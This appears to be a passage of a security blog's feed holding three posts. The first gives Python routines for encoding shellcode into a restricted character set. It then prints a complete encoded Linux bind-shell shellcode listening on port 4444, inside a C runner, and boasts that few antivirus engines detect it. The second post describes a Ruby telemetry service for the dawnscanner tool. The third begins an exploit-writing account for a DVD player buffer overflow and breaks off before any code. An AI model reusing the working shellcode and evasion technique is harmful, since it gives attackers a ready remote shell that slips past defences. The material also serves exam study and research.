    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">x25"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">x25"</span><span class="o">+</span><span class="n">second_and_hex</span>

  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"ebx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">second_and_hex</span>
  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"ebx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">second_and_hex</span>
  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"ecx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe1"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe1"</span><span class="o">+</span><span class="n">second_and_hex</span>
  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"edx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe2"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe2"</span><span class="o">+</span><span class="n">second_and_hex</span></code></pre></figure>

<h2 id="writing-a-word-on-the-stack">Writing a word on the stack</h2>
<p>We can’t write a word on the stack because of a restricted alphabet. We will
get rid of this by calculating the
<a href="https://en.wikipedia.org/wiki/Two%27s_complement">two-complement</a> of the word
we want to write and by finding 2 or 3 values that when added will result in
our word’s complement.</p>

<p>Those values will be subtracted from EAX register, after it has been set to 0.
At the end, EAX will be set to the desired word and it can be pushed into the
stack.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python">  <span class="k">def</span> <span class="nf">generate_add_eax_sum_shellcode</span><span class="p">(</span><span class="n">result</span><span class="p">):</span>
  <span class="n">compl_two</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="s">"FFFFFFFF"</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="nb">int</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>

  <span class="n">c</span> <span class="o">=</span> <span class="n">find_encoded_sequence</span><span class="p">(</span><span class="n">compl_two</span><span class="p">)</span>
  <span class="n">c2_h</span> <span class="o">=</span> <span class="s">"0x{:08x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">compl_two</span><span class="p">)</span>
  <span class="n">f</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="s">"{:02x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">i</span><span class="p">)])</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="n">c</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])]</span>
  <span class="n">f_sum</span> <span class="o">=</span> <span class="s">"0x{:08x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">sum</span><span class="p">([</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="p">])</span> <span class="o">%</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">))</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">c2_h</span> <span class="o">!=</span> <span class="n">f_sum</span><span class="p">):</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">warning</span><span class="p">(</span><span class="s">"can't find a good encoded sequence using 2 operands... trying with 3"</span><span class="p">)</span>
    <span class="n">c</span> <span class="o">=</span> <span class="n">find_encoded_sequence</span><span class="p">(</span><span class="n">compl_two</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>
    <span class="n">f</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="s">"{:02x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">i</span><span class="p">)])</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="n">c</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])]</span>
    <span class="n">f_sum</span> <span class="o">=</span> <span class="s">"0x{:08x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">sum</span><span class="p">([</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="p">])</span> <span class="o">%</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">))</span>

    <span class="k">if</span><span class="p">(</span><span class="n">c2_h</span> <span class="o">!=</span> <span class="n">f_sum</span><span class="p">):</span>
      <span class="n">logging</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="s">"can't find a good encoded sequence. Please consider changing this shellcode sequence"</span> <span class="o">+</span> <span class="n">result</span><span class="p">)</span>
      <span class="k">return</span> <span class="s">""</span>

  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"obtaining 0x{0} with this ASM sequence"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"554e4d4a"</span><span class="p">,</span> <span class="s">"2a313235"</span><span class="p">):</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"AND EAX, 0x{0}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
  <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"SUB EAX, 0x{0}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">j</span><span class="p">))</span>
  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"PUSH EAX"</span><span class="p">)</span>

  <span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm_x86</span><span class="p">.</span><span class="n">zero_with_and</span><span class="p">(</span><span class="s">"eax"</span><span class="p">)</span>
  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\\</span><span class="s">x2d"</span> <span class="o">+</span> <span class="n">strings</span><span class="p">.</span><span class="n">from_string_to_payload</span><span class="p">(</span><span class="n">strings</span><span class="p">.</span><span class="n">swap</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
  <span class="n">shellcode</span><span class="o">+=</span><span class="s">"</span><span class="se">\\</span><span class="s">x50"</span>

  <span class="k">return</span> <span class="n">shellcode</span></code></pre></figure>

<p>The whole generate.py source code is available on this gist.</p>

<noscript><pre>400: Invalid request</pre></noscript>
<script src="https://gist.github.com/8daae5ae9656779b75a479e72f2a4492.js"> </script>

<h2 id="put-all-the-pieces-together-with-shellerate">Put all the pieces together with shellerate</h2>

<p>This can be a really good shellcode encoding mechanism. That’s why I automated
this process and integrated it with
<a href="https://github.com/thesp0nge/shellerate/tree/master/shellerate">shellerate</a>.</p>

<p>I asked my framework to generate a bind shell shellcode for Linux operating
system. The shell will listen on port 4444 for incoming connections.</p>

<p>Than I padded my shellcode, since I want to operate on 4 bytes long words and I
splitted my shellcode into words.</p>

<p>I encoded all the words using a restricted allowed charset alphabet and I
eventually appended a jump ESP call in order to use my shellcode in a C helper
like this:</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span><span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">code</span><span class="p">[]</span><span class="o">=</span><span class="s">"</span><span class="se">\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x54\x58\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x6e\x6e\x6e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x01\x01\x36\x2d\x7e\x01\x75\x7e\x2d\x7e\x4c\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x01\x01\x01\x2d\x6e\x4e\x01\x4f\x2d\x7e\x7e\x34\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x01\x2d\x6d\x65\x60\x75\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x52\x2d\x5c\x66\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x31\x52\x52\x2d\x7e\x66\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x09\x01\x50\x01\x2d\x7e\x05\x7e\x3e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x43\x01\x01\x38\x2d\x7e\x31\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x4f\x01\x01\x2d\x7e\x7e\x3d\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x50\x01\x01\x2d\x3c\x7e\x35\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x35\x01\x01\x2d\x6f\x7e\x01\x01\x2d\x7e\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x36\x01\x31\x01\x2d\x7e\x01\x6f\x01\x2d\x7e\x73\x7e\x73\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x31\x01\x2d\x62\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x36\x01\x2d\x31\x7e\x7e\x01\x2d\x63\x7e\x7e\x7c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x50\x01\x2d\x32\x7e\x7e\x35\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x31\x01\x01\x2d\x01\x6f\x01\x70\x2d\x75\x7e\x4a\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x31\x31\x31\x7e\x2d\x72\x67\x63\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x70\x2d\x7e\x68\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x4f\x01\x2d\x65\x7e\x7e\x34\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x32\x7e\x75\x3b\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x01\x7e\x01\x7e\x2d\x4b\x7e\x4c\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x31\x01\x31\x7e\x2d\x68\x45\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x76\x3d\x75\x3c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x01\x01\x2d\x7e\x3e\x75\x3b\x50\xff\xe4</span><span class="s">"</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Shellcode Length:  %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">code</span><span class="p">));</span>
	<span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ret</span><span class="p">)()</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">code</span><span class="p">;</span>
	<span class="n">ret</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>

<p>Please note that I wrote my shellcode in a reverse order, from the last word to
the first. This way, since the stack is growing backwards, the ESP register
will point to the beginning of my decoded shellcode at the end of the process.</p>

<p>You can see the process in action here. As you can see, the shellcode is
working and a bind shellcode was listening on port 4444.</p>

<p>What about anti virus tool then? I submitted my a.out file to Virus Total and
only 3 engines out of 58 detected my encoded shellcode: <a href="https://www.virustotal.com/gui/file/5045aee367cc29a8fcf4889c0935f039ed76550cb0f1ba743f9d20b9d2f1dc99/detection">pretty sweet
result</a>.</p>

<h2 id="off-by-one">Off by one</h2>

<p>Next steps will be:</p>
<ul>
  <li>implementing this encoder into shellerate and release a new version of the
framework (with a working shellerate binary script of course)</li>
  <li>make the AND process to use random values, so to increase shellcode entropy</li>
  <li>having fun with other register mathematical instructions so to encode with
ADD, MUL, DIV, …</li>
</ul>]]></content><author><name>thesp0nge</name></author><category term="offensive security" /><category term="shellcode" /><category term="asm" /><category term="x86" /><category term="python" /><category term="shellerate" /><summary type="html"><![CDATA[During my OSCE exam preparation I had to deal with shellcode writing experience where very few allower characters were available.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://armoredcode.com/assets/images/ancient_writing.jpg" /><media:content medium="image" url="https://armoredcode.com/assets/images/ancient_writing.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Create your own telemetry system</title><link href="https://armoredcode.com/blog/create-your-own-telemetry-system/" rel="alternate" type="text/html" title="Create your own telemetry system" /><published>2019-04-17T00:00:00+00:00</published><updated>2019-04-17T00:00:00+00:00</updated><id>https://armoredcode.com/blog/create-your-own-telemetry-system</id><content type="html" xml:base="https://armoredcode.com/blog/create-your-own-telemetry-system/"><![CDATA[<p>In order to monitor <a href="https://dawnscanner.org">dawnscanner</a> security scaner
usage, I introduced in upcoming version
<a href="https://github.com/thesp0nge/dawnscanner/tree/kb_revamp_in_yaml">2.0.0</a>, a
telemetry system.</p>

<p>On boot, dawnscanner will check if it has a unique identifier and if not it
will ask for one to the telemetry system.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="n">get</span> <span class="s1">'/new'</span> <span class="k">do</span>
  <span class="n">i</span> <span class="o">=</span> <span class="no">Id</span><span class="p">.</span><span class="nf">new</span>
  <span class="n">i</span><span class="p">.</span><span class="nf">uuid</span> <span class="o">=</span> <span class="no">Id</span><span class="p">.</span><span class="nf">get_new_id</span>
  <span class="n">i</span><span class="p">.</span><span class="nf">save</span>

  <span class="n">content_type</span> <span class="ss">:json</span>
  <span class="p">{</span><span class="ss">:uuid</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="p">.</span><span class="nf">uuid</span> <span class="p">}.</span><span class="nf">to_json</span>
<span class="k">end</span></code></pre></figure>

<p>Id is an
<a href="https://api.rubyonrails.org/classes/ActiveRecord/Base.html">ActiveRecord</a>
class for the identifier model.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="nb">require</span> <span class="s1">'securerandom'</span>

<span class="k">class</span> <span class="nc">Id</span> <span class="o">&lt;</span> <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Base</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">get_new_id</span>
    <span class="k">return</span> <span class="no">SecureRandom</span><span class="p">.</span><span class="nf">uuid</span>
  <span class="k">end</span>
<span class="k">end</span></code></pre></figure>

<p>The initialization part happens in the
<a href="https://github.com/thesp0nge/dawnscanner/blob/kb_revamp_in_yaml/lib/dawn/cli/dawn_cli.rb">Dawn::Cli</a>
class.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="vg">$telemetry_url</span> <span class="o">=</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:endpoint</span><span class="p">]</span> <span class="k">if</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:enabled</span><span class="p">]</span>
<span class="n">debug_me</span><span class="p">(</span><span class="s2">"telemetry url is "</span> <span class="o">+</span> <span class="vg">$telemetry_url</span><span class="p">)</span> <span class="k">unless</span> <span class="vi">@telemetry_url</span><span class="p">.</span><span class="nf">nil?</span>
<span class="vg">$telemetry_id</span> <span class="o">=</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:id</span><span class="p">]</span> <span class="k">if</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:enabled</span><span class="p">]</span>

<span class="n">debug_me</span><span class="p">(</span><span class="s2">"telemetry id is "</span> <span class="o">+</span> <span class="vg">$telemetry_id</span><span class="p">)</span> <span class="k">unless</span> <span class="vi">@telemetry_id</span><span class="p">.</span><span class="nf">nil?</span>
<span class="vg">$logger</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="s2">"telemetry is disabled in config file"</span><span class="p">)</span> <span class="k">unless</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:enabled</span><span class="p">]</span></code></pre></figure>

<p>The real magic is in the
<a href="https://github.com/thesp0nge/dawnscanner/blob/kb_revamp_in_yaml/lib/dawn/engine.rb">Dawn::Engine</a>
class. Here we’ve got a telemetry method that do all the stuff.</p>

<p>The basic idea is to do a post on a URL posting the unique dawnscanner
identifier (that is also the URL where the post is made), the IP address and
the knowledge base version.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="k">def</span> <span class="nf">have_a_telemetry_id?</span>
  <span class="n">debug_me</span> <span class="p">(</span><span class="vg">$telemetry_id</span> <span class="o">!=</span> <span class="s2">""</span>  <span class="n">and</span> <span class="o">!</span> <span class="vg">$telemetry_id</span><span class="p">.</span><span class="nf">nil?</span><span class="p">)</span>
  <span class="k">return</span> <span class="p">(</span><span class="vg">$telemetry_id</span> <span class="o">!=</span> <span class="s2">""</span>  <span class="n">and</span> <span class="o">!</span> <span class="vg">$telemetry_id</span><span class="p">.</span><span class="nf">nil?</span><span class="p">)</span>
  
<span class="k">end</span>

<span class="k">def</span> <span class="nf">get_a_telemetry_id</span>
  <span class="k">return</span> <span class="s2">""</span> <span class="k">if</span> <span class="p">(</span><span class="vg">$telemetry_url</span> <span class="o">==</span> <span class="s2">""</span> <span class="n">or</span> <span class="vg">$telemetry_url</span><span class="p">.</span><span class="nf">nil?</span><span class="p">)</span>
  <span class="n">debug_me</span><span class="p">(</span><span class="s2">"T: "</span> <span class="o">+</span> <span class="vg">$telemetry_url</span><span class="p">)</span>

  <span class="n">url</span> <span class="o">=</span> <span class="no">URI</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="vg">$telemetry_url</span><span class="o">+</span><span class="s2">"/new"</span><span class="p">)</span>
  <span class="n">res</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="p">.</span><span class="nf">get_response</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>

  <span class="k">return</span> <span class="s2">""</span> <span class="k">unless</span> <span class="n">res</span><span class="p">.</span><span class="nf">code</span><span class="p">.</span><span class="nf">to_i</span> <span class="o">==</span> <span class="mi">200</span>
  <span class="k">return</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="nf">body</span><span class="p">)[</span><span class="s2">"uuid"</span><span class="p">]</span>
<span class="k">end</span>


<span class="k">def</span> <span class="nf">telemetry</span>
  <span class="k">unless</span> <span class="n">have_a_telemetry_id?</span>
    <span class="vg">$telemetry_id</span> <span class="o">=</span> <span class="n">get_a_telemetry_id</span>
    <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:id</span><span class="p">]</span> <span class="o">=</span> <span class="vg">$telemetry_id</span>
    <span class="n">debug_me</span><span class="p">(</span><span class="vg">$config</span><span class="p">)</span>
    <span class="n">debug_me</span><span class="p">(</span><span class="s2">"saving config to "</span> <span class="o">+</span> <span class="vg">$config_name</span><span class="p">)</span>
    <span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="vg">$config_name</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">f</span><span class="o">|</span> <span class="n">f</span><span class="p">.</span><span class="nf">write</span> <span class="vg">$config</span><span class="p">.</span><span class="nf">to_yaml</span> <span class="p">}</span>
  <span class="k">end</span>

  <span class="n">debug_me</span><span class="p">(</span><span class="s2">"Telemetry ID is: "</span> <span class="o">+</span> <span class="vg">$telemetry_id</span><span class="p">)</span>
  
  <span class="n">uri</span><span class="o">=</span><span class="no">URI</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="vg">$telemetry_url</span><span class="o">+</span><span class="s2">"/"</span><span class="o">+</span><span class="vg">$telemetry_id</span><span class="p">)</span>
  <span class="n">header</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'text/json'</span><span class="p">}</span>
  <span class="n">tele</span> <span class="o">=</span> <span class="p">{</span> <span class="s2">"kb_version"</span> <span class="o">=&gt;</span> <span class="no">Dawn</span><span class="o">::</span><span class="no">KnowledgeBase</span><span class="o">::</span><span class="no">VERSION</span> <span class="p">,</span> 
           <span class="s2">"ip"</span> <span class="o">=&gt;</span> <span class="no">Socket</span><span class="p">.</span><span class="nf">ip_address_list</span><span class="p">.</span><span class="nf">detect</span><span class="p">{</span><span class="o">|</span><span class="n">intf</span><span class="o">|</span> <span class="n">intf</span><span class="p">.</span><span class="nf">ipv4_private?</span><span class="p">}.</span><span class="nf">ip_address</span><span class="p">,</span> 
           <span class="s2">"message"</span><span class="o">=&gt;</span> <span class="no">Dawn</span><span class="o">::</span><span class="no">KnowledgeBase</span>
        <span class="p">}</span>
  <span class="n">http</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">uri</span><span class="p">.</span><span class="nf">host</span><span class="p">,</span> <span class="n">uri</span><span class="p">.</span><span class="nf">port</span><span class="p">)</span>
  <span class="n">request</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="o">::</span><span class="no">Post</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">uri</span><span class="p">.</span><span class="nf">request_uri</span><span class="p">,</span> <span class="n">header</span><span class="p">)</span>
  <span class="n">request</span><span class="p">.</span><span class="nf">body</span> <span class="o">=</span> <span class="n">tele</span><span class="p">.</span><span class="nf">to_json</span>

  <span class="n">response</span><span class="o">=</span><span class="n">http</span><span class="p">.</span><span class="nf">request</span><span class="p">(</span><span class="n">request</span><span class="p">)</span>
  <span class="n">debug_me</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">inspect</span><span class="p">)</span>

  <span class="k">return</span> <span class="kp">true</span>
  
<span class="k">end</span></code></pre></figure>

<p>That’s it. No personal data apart from your IP is sent to dawnscanner servers.
On backend side, I implemented a simple Sinatra post catcher block of code,
saving the data on a SQLite3 database.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="n">post</span> <span class="s1">'/:uuid'</span> <span class="k">do</span>
  <span class="n">request</span><span class="p">.</span><span class="nf">body</span><span class="p">.</span><span class="nf">rewind</span>
  <span class="vi">@request_payload</span> <span class="o">=</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span> <span class="n">request</span><span class="p">.</span><span class="nf">body</span><span class="p">.</span><span class="nf">read</span>

  <span class="n">i</span> <span class="o">=</span> <span class="no">Id</span><span class="p">.</span><span class="nf">find_by</span><span class="p">(</span><span class="s2">"uuid"</span><span class="p">,</span> <span class="n">params</span><span class="p">[</span><span class="s1">'uuid'</span><span class="p">].</span><span class="nf">to_s</span><span class="p">)</span>
  <span class="k">unless</span> <span class="n">i</span><span class="p">.</span><span class="nf">nil?</span> 
    <span class="n">l</span><span class="o">=</span><span class="no">Log</span><span class="p">.</span><span class="nf">new</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">uuid</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="s1">'uuid'</span><span class="p">].</span><span class="nf">to_s</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">ip</span><span class="o">=</span><span class="vi">@request_payload</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">]</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">kb_version</span><span class="o">=</span><span class="vi">@request_payload</span><span class="p">[</span><span class="s1">'kb_version'</span><span class="p">]</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">message</span><span class="o">=</span><span class="vi">@request_payload</span><span class="p">[</span><span class="s1">'message'</span><span class="p">]</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">save</span>
  <span class="k">end</span>
<span class="k">end</span></code></pre></figure>

<p>This very basic telemetry system needs tons of improvements and, of course,
it’s opensource code hosted on
<a href="https://github.com/thesp0nge/telemetry">Github.com</a>.</p>

<p>Enjoy it!</p>]]></content><author><name>thesp0nge</name></author><category term="telemetry" /><category term="dawnscanner" /><category term="sinatra" /><category term="ruby" /><category term="web application" /><category term="capistrano" /><category term="deploy" /><summary type="html"><![CDATA[In order to monitor dawnscanner security scaner usage, I introduced in upcoming version 2.0.0, a telemetry system.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://armoredcode.com/assets/images/telemetry.jpg" /><media:content medium="image" url="https://armoredcode.com/assets/images/telemetry.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">How an excercise eventually becomes my first public exploit</title><link href="https://armoredcode.com/blog/how-an-excercise-eventually-becomes-my-first-public-exploit/" rel="alternate" type="text/html" title="How an excercise eventually becomes my first public exploit" /><published>2019-03-26T00:00:00+00:00</published><updated>2019-03-26T00:00:00+00:00</updated><id>https://armoredcode.com/blog/how-an-excercise-eventually-becomes-my-first-public-exploit</id><content type="html" xml:base="https://armoredcode.com/blog/how-an-excercise-eventually-becomes-my-first-public-exploit/"><![CDATA[<p>A couple of days ago, I was working on my exploit-writing routine as
preparation for my upcoming OSCE examination.</p>

<p>My standard routine those days is the following:</p>
<ul>
  <li>go to exploit-db;</li>
  <li>look for PoC or old exploit;</li>
  <li>rewrite them from scratch on newer operating systems.</li>
</ul>

<p>Since the DEP bypass is out of the scope of the “Cracking the perimeter”
course, I won’t deal with it by now.</p>

<p>I was working on the
<a href="https://nvd.nist.gov/vuln/detail/CVE-2018-9128">CVE-2018-9128</a> vulnerability
that is about a buffer overflow for DVD X Player Standard 5.5.3.9 it can be
exploited with a carefully crafted playlist file.</p>

<p><a href="https://www.exploit-db.com/exploits/44438">EDB-ID 44438</a> describes how to
overwrite SEH structure in a very standard way to obtain an arbitrary code
execution. This code was designed to attack Windows XP SP3 operating system for
x86 architecture.</p>

<p>For my preparation, I’m using a <a href="https://armoredcode.com/blog/a-cracking-the-perimeter-journey-1-my-own-lab/">VirtualBox Microsoft Windows 7
SP1</a>
for x86 architecture virtual machin, with both DEP and ASLR disabled.</p>

